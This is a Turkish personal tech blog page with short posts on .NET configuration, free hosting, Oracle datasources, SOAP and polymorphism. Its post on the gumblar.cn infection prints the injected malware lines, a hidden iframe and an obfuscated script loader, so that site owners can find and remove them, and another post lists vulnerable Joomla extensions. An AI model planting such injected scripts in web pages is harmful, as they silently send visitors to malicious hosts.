Son Yazılar

Ücretsiz SVN Hosting Geliştirmekte olduğunuz projeler için ücretsiz olarak size SVN hizmeti sunan bir site var. Projelerinizi oluşturduktan sonra, yapacaklarınızı, buglarınızı kaydedip...

Readmore

Sitem hacklendi ne yapmalıyım Merhaba, Son günlerde, web sitenizin adresini girdiğinizde, web siteniz yerine aşağıdaki gibi hata mesajları alıyorsanız, Parse error: syntax error, unexpected...

Readmore

Ücretsiz Web Hosting Geliştirmekte olduğunuz web siteleri için ücretsiz hosting arıyorsanız aşağıdaki adres tam size göre. http://www.000webhost.com adresine girerek bu servisten faydalanabilirsiniz....

Readmore

www.SevgiKorkmaz.com Rss

Visual Studio’ya ajax toolkit eklerken yaÅŸanan sorun

Posted on : 13-01-2010 | By : admin | In : KategorilenmemiÅŸ

0

‘System.Web.Ajax, Version=3.0.31106.0, Culture=neutral, PublicKeyToken=28f01b0e84b6d53e’ dosyasını veya derlemesini ya da bağımlılıklarından birini yükleyemedi. Sistem belirtilen dosyayı bulamıyor.

hatası ile karşılaşıyorsanız yapmanız gerekenler şöyle.

1- uygulamanızın web config dosyasını açıyorsunuz. ve aşağıdaki koyu renk yazılmış satırı ekliyorsunuz.

<compilation debug="true">
  <assemblies>
     <add assembly="System.Core, Version=3.5.0.0,
Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
     <add assembly="System.Data.DataSetExtensions, Version=3.5.0.0,
Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
     <add assembly="System.Web.Extensions, Version=3.5.0.0,
Culture=neutral, PublicKeyToken=31BF3856AD364E35"/>
     <add assembly="System.Xml.Linq, Version=3.5.0.0,
Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
     <add assembly="System.Web.Extensions.Design, Version=3.5.0.0,
Culture=neutral, PublicKeyToken=31BF3856AD364E35"/>
     <add assembly="System.Design, Version=2.0.0.0,
Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A"/>
     <add assembly="System.Windows.Forms, Version=2.0.0.0,
Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
       <add assembly="AjaxControlToolkit, Version=3.0.31106.0,
Culture=neutral, PublicKeyToken=28f01b0e84b6d53e"/>
 </assemblies>
</compilation> 

Daha sonra projenizin /bin dizinine bakıyorsunuz. Orada “System.Web.Ajax.dll” dizini yoksa onu da oraya kopyalıyorsunuz. Bu dosya, Ajax Tool Kit’i indirdiÄŸiniz yerdedir.

Umarım işinze yarar.

Ücretsiz Java Hosting

Posted on : 09-11-2009 | By : admin | In : Java, web

0

Javacılar bilir, Java Hosting bulmak zordur.

www.eatj.com dan ücretsiz ve ücretli java hosting kullanmanız mümkün.

000webhost ile ilgili

Posted on : 28-08-2009 | By : admin | In : KategorilenmemiÅŸ

0

merhaba, daha önceki yazılarımda, ücretsiz hosting veren bir firmadan bahsetmiÅŸtim. Bu firma bir takım nedenlerden dolayı ( eminim suistimal etmiÅŸizdir :) Türkiye’den gelen istekleri kabul etmiyor. Size tavsiyem ztunnel, vtunnel gibi bir proxy kullanarak hostinginizi almanız olacaktır.

Ücretsiz SVN Hosting

Posted on : 28-05-2009 | By : admin | In : Proje Yönetimi, Yazılım

0

GeliÅŸtirmekte olduÄŸunuz projeler için ücretsiz olarak size SVN hizmeti sunan bir site var. Projelerinizi oluÅŸturduktan sonra, yapacaklarınızı, buglarınızı kaydedip proje takibini de yapabiliyorsunuz. Kendi Wiki’nizi oluÅŸturup, forumunuzu kullanabiliyorsunuz.
İlgilenenler için adres :
http://www.xp-dev.com/

Ücretsiz Web Hosting

Posted on : 28-05-2009 | By : admin | In : KategorilenmemiÅŸ

0

Geliştirmekte olduğunuz web siteleri için ücretsiz hosting arıyorsanız aşağıdaki adres tam size göre.
http://www.000webhost.com adresine girerek bu servisten faydalanabilirsiniz.

Site, 1500 MB yer ve aylık 100 GB / month trafik sağlamakta.
Ayrıca PHP ve MYSQL de barındırıyor. :)

Sitem hacklendi ne yapmalıyım

Posted on : 22-05-2009 | By : admin | In : KategorilenmemiÅŸ, web

0

Merhaba,

Son günlerde, web sitenizin adresini girdiğinizde, web siteniz yerine aşağıdaki gibi hata mesajları alıyorsanız,

Parse error: syntax error, unexpected ‘<', expecting T_VARIABLE or '$' in /home/sitem/public_html/components/com_content/views/article/tmpl/default.php on line 145

ya da web sitenize baÄŸlanmaya çalıştığınızda, browser’ınızın en altında bulunan durum çubuÄŸunda da baÅŸka bir IP görünüyorsa

94.247.2.195

ya da sitenize girmek istediğinizde bilgisayarınızdaki antivirüs yazılımı tarafından şüpheli site uyarısı geliyorsa siz de gumblar.cn virüsünün kurbanısınız demektir.

Bu virüs web hosting alanınızda bulaştıktan sonra sitenizde, tüm index.php dosyalarına aşağıdaki şekilde eklemeler yapar.

  • <iframe src="http://hotslotpot.cn/in.cgi?income67" width=1
    height=1 style="visibility: hidden"></iframe>
  •  
    document.write(unescape('%3CRhSsc5uriptUd%20sPQrC
    Rc%3D5u%2F5u%2F9CR4sW%2E5u24R6M7GS%2EPQ2PQ
    %2E1Ud95%2FsWj5uqusWeUdrsWy%2EGSjs3E%3CCR
    %2FsRhScR6Mript%3E').replace(/R6M|RhS|GS|5u|Ud
    |PQ|CR|sW/g,""));    

Gumblar.cn virüsü siteme nasıl bulaştı

Öncelikle, gumblar.cn virüsü çok fazla sayıda web sayfasına bulaşmış durumda. Genelde, bu virüsün sizin web sayfanıza bulaşması için sitenize, ftp ile ulaşabilecek kişilerin bilgisayarına bulaşmış olması gerekiyor. Size bulaştıktan sonra siz web sitenize ftp ile bir dosya yüklüyorsunuz. Virüs böylece sitenize bulaşıyor, ve FTP ayarlarınız da ele geçirilmiş oluyor.

yani sitenizde, bu virüs varsa muhtemelen bilgisayarınızda da bu virüs ya da trojan bulaşmış olabilir.

İlk yapmanızı önereceğimiz şey, bilgisayarınızda yoksa bir antivirüs + anti malware + firewall kurmanız. ve bu virüsü bilgisayarınızdan silmenizdir.

Bilgisayarınızı temizledikten sonra, tek tek her dosyada eklenmiş olan yukarıdaki gibi satırları silmeniz gerekiyor. Bu virüs içerisinde index.html ya da index.php olmayan dizinlerde de bu dosyaları kendisi eklemektedir. Bu dosyalardan bu kodları silmek, varsa temiz bir yedeğinizden sitenizi yeniden yaratmalısınız.

Yeniden yaratma sırasında, imajlar, css dosyaları gibi yine sitenize yukleyeceğiniz dosyalar varsa, bu dosyaları da yine bir antivirüs programı ile, ve göz gezdirerek temizlemelisiniz.

Internet Explorer bazı resimleri html olarak çalıştırmaya çalışır, bu nedenle resimlerinizi de belki uzantılarını html yaparak, içerisinde yukarıdakine benzer function ya da script gibi kelimeler geçiyor mu diye kontrol edebilirsiniz.

Bu virüs sizin ftp şifrelerinizi ele geçirmiştir. Yalnız bu virüs sitenizde arka kapılar ( backdoors ) yarattığı için ftp şifrenizi değiştirmek bir çözüm olmayacaktır. .htdocs gibi dosyaları da yine incelemeniz gerekiyor.

Bu arada aÅŸağıdaki yazı’da ilginizi çekebilir.

Joomla – Güvenlik Açığı Bulunan Eklentiler

Posted on : 13-05-2009 | By : admin | In : Yazılım, joomla, web

0

Güvenlik Açığı Bulunan Eklentiler

Joomla son sürümleri yüklendiği şekilde kullanıldığında % 99 güvenlidir. Ancak sonradan eklenen 3. parti eklentiler nedeniyle sitenizde telafisi mümkün olmayan güvenlik açıkları meydana gelmektedir.Aşağıda isimlerini belirttiğim eklentilerden birini veya birkaçını kullanıyorsanız siteniz güvenlik tehditi altındadır. (Hizmet aldığınız sunucuda meydana gelebilecek güvenlik açıkları hariç.)

Sitenizin zarar görmemesi için ya eklentiye ait son sürümü yükleyin yada eklentiyi sitenizden tamamen silmeniz veya üretici firmadan destek almanız uygun olacaktır.

BileÅŸenler
(Eklenti sürüm numarasından sonra belirtilen (< =) ibaresi alt sürümleride kapsadığı anlamina gelmektedir.)


A6MamboCredits com_a6mambocredits tüm sürümleri
A6MamboHelpDesk com_a6mambohelpdesk tüm sürümleri
Advanced Poll com_advancedpoll <= 2.2.0
ArtLinks com_artlinks tüm sürümleri
Bayesian Naive Filter com_bayesiannaivefilter <= 1.1
BigApe Backup com_babackup tümü – yamasi mevcut
BSQ Site Stats com_bsqsitestats <= 2.2.1
Classifieds com_classifieds <= 1.3
Colophon com_colophon <= 1.2
Community Builder (comprofiler) com_profiler <= 1.0.0
Events com_events <= 1.3 Beta
ExtCalendar com_extcalendar <= 0.9.1
Facile Forms com_facileforms <= 1.4.6
SEF404x com_sef tüm sürümleri

Devamını okumak için yandaki linke tıklayınız…..

Oracle Uygulama Sunucusunda MYSQL Data Source tanımlama

Posted on : 13-05-2009 | By : admin | In : Java, Yazılım

0

Merhaba,

Oracle Uygulama sunucusu üzerinde, MYSQL Connection Pool ve DataSource tanımlayalım.


MYSQL’e baÄŸlanmak için kullanacağımız veri tabanı sürücüsü : com.mysql.jdbc.Driver


Bu sürücünün bulunduğu kütüphane : mysql-connector-java-5.1.7-bin.jar


veritabanımızla uygulama sunucumuz aynı makinada olsun. (IP = localhost )
Veritabanı şemasının adı mysqlSchema ,
kullanıcı adımız ve şifremiz de mysqlUser olsun.


Bağlantı için kullanacağımız url

jdbc:mysql://localhost:3306/mysqlSchema olacaktır.



Bu bilgileri aÅŸağıdaki gibi Enterprise Manager’da (EM) girip Finish’e basıyoruz.


Connection Pool tanımlama


EÄŸer kütüphaneler, daha önceden tanımlıysa Connection Pool’umuz kullanıma hazır. EÄŸer deÄŸilse


Finish Dediğimizde, uygulama sunucusu bize Class Not Found:com.mysql.jdbc.Driver hatası verir.


Bu hata, uygulama sunucusunun, bu sınıfı barındıran kütüphane’yi görmemesinden kaynaklanır. Bu hatayı gidermek için genelde kullanıcılar, applib dizini altına mysql-connector-java-5.1.7-bin.jar dosyasını koyarlar, ancak pool’u yaratan ve kullanacak uygulamanın kapsamları farklı olduÄŸu için, yine hata alırız.


Peki, bu kütüphane’yi OC4J’ye nasıl tanıtacağız.


  • Oc4j içerisinde bir shared-library oluÅŸturacağız. ( adı mysql.connector olsun)


  • $ORACLE_HOME/j2ee/home/application-deployments/ascontrol/orion-application.xml dosyasına elimizle aÅŸağıdaki satırı ekleyeceÄŸiz.


    mysql4.JPG



  • Kendi uygulamamızı sunucuya yüklerken, bu kütüphaneyi de kullanacak ÅŸekilde yükleyeceÄŸiz.


    shared_lib



    kullan



  • YüklediÄŸimiz uygulamanın yönetim ( administration ) alanında Connection Pool’umuzu tanımlayacağız.


Soap Dersleri

Posted on : 29-12-2008 | By : admin | In : Yazılım

1

SOAP basit, XML tabanlı, uygulamaların HTTP protolokü üzerinden konuşabilmelerini sağlayan bir protokoldür. Ya da daha basit olarak söylemek gerekirse, Soap, web servisine erişme protokolüdür.


Soap Nedir

• SOAP’ın açılımı : Simple Object Access Protocol’dür. Türkçesi Basit Obje Erişim Protoküdür.
• SOAP bir iletişim protokolüdür.
• SOAP uygulamaların birbirleriyle konuşması için kullanılır.
• SOAP mesaj gönderme formatıdır.
• SOAP Internet üzerinden çalışır.
• SOAP platform bağımsızdır.
• SOAP uygulama geliştirme dillerinden bağımsızdır.
• SOAP XML tabanlıdır.
• SOAP basit ama geliştirilebilirdir.
• SOAP kullanarak firewallları geçebilirsiniz.
• SOAP W3C tarafından önerilmektedir.


Uygulama geliştirirken, geliştirilen uygulamaların internet/intranet üzerinden konuşabilmelerini ihtiyacı olmaktadır. Günümüzde uygulamalar DCOM ya da CORBA objeleri arasında uzaktan prosedür çağırma (Remote Procedure Call – RPC ) tekniği kullanarak konuşabilmektedir, ancak RPC kullanımı uyum ve güvenlik sorunları doğurmaktadır. Örneğin firewall ve proxy sunucuları bu şekilde yaratılan trafiğe izin vermemektedir. Bu uygulamaların HTTP protokolü üzerinden konuşması daha iyi bir yöntemdir. HTTP protokolü hem sunucular hem de tüm tarayıcılar tarafından desteklenmektedir.
SOAP farklı işletim sistemlerinde çalışan, farklı dilleri kullan, farklı teknolojilerle geliştirilmiş uygulamaların birbirleriyle konuşmasını sağlar.

Bir Soap mesajı, aşağıdaki elemanları barındıran sıradan bir xml dokümanıdır. elements:

* Envelope XML dokümanının bir SOAP mesajı olduğunu tanımlar.
* Header mesajın başlık bilgisini barındırır.
* Body içerisinde istek ve cevap bilgisini barındırır.
* Fault elemanı durum ve hata bilgilerini barındırır.



Yazım Kuralları


* SOAP mesajı mutlaka XML olarak tanımlanmalıdır.
* SOAP mesajı mutlaka Soap Envelope elemanını barındırmalıdır.
* SOAP mesajı mutlaka SOAP Encoding tanımını barındırmalıdır.
* SOAP mesajı DTD referansı barındırmamalıdır
* SOAP mesajı XML İşleme Talimatı barındırmamalıdır.



Skeleton SOAP Message


soap1





Çok Biçimlilik

Posted on : 11-12-2008 | By : admin | In : Java, Yazılım

0


Nesneye yönelik programlamada polymorphism , nesnelerin içeride farklı çalışmalarına rağmen dışarıdan aynı biçimde görünmeleridir.

cb1

Bu şekilde, bir grup nesneyi kullanan sınıflar davranışların ne şekilde gerçekleştirildiğini bilmek zorunda kalmazlar. Ilerle metodu arabanin çekiş itişine göre farklı işlemler gerçekleştirebilir. Ancak araba kullanan kişi işlemlerin nasıl gerşekleştirildiği ile ilgilenmez. Sadece arabayı sürer. Yani çok biçimlilik somut bir nesnenin farklı sınıflara ait nesneler beklenen yerlerde sorun çıkartmadan kullanılmasıdır.

Çok biçimlilik iki şekilde sağlanır.

  • Miras alma (inheritance)
  • Arabirim kullanma (interface)

Advertise Here